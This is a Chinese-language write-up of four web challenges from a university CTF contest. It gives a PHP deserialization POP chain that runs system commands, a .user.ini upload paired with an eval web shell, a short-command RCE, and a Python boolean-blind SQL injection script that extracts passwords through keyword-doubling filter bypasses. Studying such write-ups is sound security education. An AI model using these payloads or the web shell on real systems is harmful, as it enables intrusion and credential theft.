武功山杯·湘赣边大学生网络安全竞赛部分题解

石能为鼓

知识点:php反序列化

首先通过查看源代码发现source.php文件

访问得题目的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
show_source(__FILE__);
class ping {
protected $xiang;
function __construct() {
$this->xiang = new fun();
}
function __destruct() {
$this->xiang->cp();
}
}
class fun {
function cp() {
echo "hello";
}
}
class cup {
private $data;
function cp() {
eval($this->data);
}
}
unserialize($_GET['d']);

就是一个简单的序列化题,只不过在反序列化中有一个特性,将原来属性的修饰符修改是不会影响反序列化的结果,所以在构造pop链的时候可以将原来的属性修饰符进行修改,便于赋值与序列化

最终的pop链为:

<?php

class ping{

public $xiang;

}

class cup{

public $data=”system(‘cat /*’);”;

}

$a=new ping();

$a->xiang=new cup();

echo serialize($a);

//输出:O:4:”ping”:1:{s:5:”xiang”;O:3:”cup”:1:{s:4:”data”;s:17:”system(‘cat /*’);”;}}

得flag

龙池古庙

知识点:文件上传(.user.ini文件)

该题目有提示信息,通过上传.user.ini文件

简单描述一下.user.ini文件的应用,.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门

常见的用法就是通过上传一个.user.ini文件在通过一个php文件来配合使用构成一个后门

.user.ini文件的内容入下:

auto_prepend_file=.user.ini

#<?php @eval($_POST[‘a’]);?>

这个的作用相当于一个文件包含,将.user.ini的文件包含该目录下所有php文件

这里的题目需要前端绕过,最后的结果:

再通过访问该目录下的index.php,通过蚁剑连接寻找flag即可

真君擒龙

知识点:rce

先通过查看源码,发现了一个source.php文件,访问得源码:

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){
system($cmd);
}else{
die("no!no!no!");
}

这是一个限制长度的rce,并且将nl过滤了,但是又一个命令也是同样的简短od命令,以二进制形式读取文件,通过控制它的参数来控制返回文件是以几进制的形式,默认为八进制

具体为od /* 读取的内容为:

0000000 066146 063541 033573 061464 033465 031142 026546 034541 0000020 032070 032055 032063 026470 061141 031143 063055 030461 0000040 061460 032145 032542 061143 076462 000012 0000053

其中又七位或者六位的数,七位的数为偏移量,在具体解码的时候可以不用管,许多的网上的八进制解码都有问题,可以通过下面的python脚本来实现解码:

1
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))

s为去除偏移量的八进制数

禅蕴杨岐

知识点:sql注入,布尔盲注

开局只有一个输入框,进行万能密码测试没有用

1’or 1=1#

‘^0#

开始进行扫描,得到.index.php.swp文件,打开后的源码:

<?php
function contain($str, $a){
$strpos_res = strpos($str, $a);
if ($strpos_res){
return true;
}
return false;
}

function lvlarrep($str, $v1){
$s = str_ireplace($v1, ‘’, $str);
if (contain($s, $v1)){
$s = lvlarrep($s, $v1);
}
return $s;
}

function waf($str){
$ban_str = explode(‘,’,’select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/,/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20’);
foreach($ban_str as $v1){
if (contain($str, $v1)){
$s = lvlarrep($str, $v1);
$str = $s;
}
}
$str = str_replace(‘\’’, ‘'’, $str); // 万恶的单引号,必须转义
return $str;
}

if (isset($_POST[‘login’])){
$db_host = ‘127.0.0.1’;
$db_user = ‘root’;
$db_pass = ‘toor’;
$db_name = ‘ctf’;

$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
die(‘数据库连接失败!’ . mysqli_connect_error());
}

$username = waf($_POST[‘username’]);
$password = waf($_POST[‘password’]);
$sql = “SELECT * FROM user WHERE username = ‘$username’ AND password = ‘$password’;”;

$query_result = mysqli_query($conn, $sql);
if (mysqli_num_rows($query_result) > 0) {
die(‘登陆成功!’);
}else{
die(‘哦欧!’);
}

}
?>

源码的主要信息就是通过将 ‘ 进行了过滤,以及将关键词替空,所以关键词可以通过复写的方式来绕过

对于单引号闭合的问题可以通过 \ 来进行转义,在与后面的 ‘ 来进行闭合

username =’$username’ AND password = ‘$password’;”;

上传username=1\&password=or 2>1#&login=1 放到源码中就可以实现这样的效果

让$username前面的单引号和$password前面的单引号进行闭合,再注释后面的单引号来实现注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

url = "http://59.62.61.30:48708/"
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l + r) >> 1
while(l<r):
payload={
"username":"1\\",
#"password":'or 0^((selconect asconcii(suconbstring(group_counionncat(table_name),{0},1)) from information_schema.tables where table_schema=database())>{1})#'.format(i,mid),
# "password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(column_name),{0},1)) from information_schema.columns where table_name="user")>{1})#'.format(i, mid),
"password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(password),{0},1)) from user)>{1})#'.format(i, mid),
"login":"1"
}
html = requests.post(url,data=payload)
#print(payload)
if '登陆成功' in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)=="!"):
result = result + chr(mid)
break
result = result + chr(mid)
print(result)

最后通过二分法来获取flag